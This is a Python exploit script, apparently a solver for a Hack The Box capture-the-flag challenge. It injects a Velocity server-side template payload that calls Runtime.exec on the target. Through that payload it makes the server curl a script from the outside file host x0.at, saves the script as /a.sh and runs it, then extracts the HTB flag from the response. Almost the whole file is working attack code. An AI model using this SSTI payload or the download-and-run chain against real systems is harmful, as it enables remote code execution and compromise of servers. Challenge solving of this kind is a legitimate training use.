import re
import time

import requests
from pwn import args


if args["HOST"] and args["PORT"]:
	HOST = args["HOST"]
	PORT = args["PORT"]
CHALLENGE_URL = f"http://{HOST}:{PORT}"
FILE_HOST = "https://x0.at"


def ssti(payload):
    return f"""
    #set($s="")
    #set($stringClass=$s.getClass())
    #set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
    #set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
    #set($readerClass=$stringClass.forName("java.io.Reader"))
    #set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
    #set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
    #set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
    #set($systemClass=$stringClass.forName("java.lang.System"))
    #set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
    #set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
    #set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

    #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
    #set($process=$runtime.exec("{payload}"))
    #set($null=$process.waitFor() )

    #set($inputStream=$process.getInputStream())
    #set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
    #set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
    #set($stringBuilder=$stringBuilderConstructor.newInstance())

    #set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

    $output
    """


def pwn():
    import os

    flag_sh_path = None
    # Starting from the current directory, find the flag.sh file
    for root, dirs, files in os.walk("."):
        if "flag.sh" in files:
            flag_sh_path = os.path.join(root, "flag.sh")
            print(f" > flag.sh found at: {flag_sh_path}")
            break
    with requests.Session() as session:
        if flag_sh_path is None:
            print(" > flag.sh not found...")
            return
        # Upload flag extraction script to a quick and dirty file host
        uploaded_file = session.post(
            FILE_HOST, files={"file": open(flag_sh_path, "rb")}
        ).text.strip()

        # Download script on server using server side template injection
        for _ in range(5):  # Retry up to 5 times
            try:
                response = session.post(
                    CHALLENGE_URL, data={"text": ssti(f"curl {uploaded_file} -o /a.sh")}
                )
                if response.status_code == 200:
                    break
            except requests.ConnectionError:
                print("Connection reset by peer, retrying...")
                time.sleep(1)
        # Run script on server using ssti
        r = session.post(CHALLENGE_URL, data={"text": ssti(f"sh /a.sh")})
        pattern = re.compile("HTB{.*?}")
        match = re.search(pattern, r.text)
        if match is not None:
            print(f" > Found the flag: {match.group()}")
        else:
            print(" > Flag not found...")


def main():
    pwn()


if __name__ == "__main__":
    main()
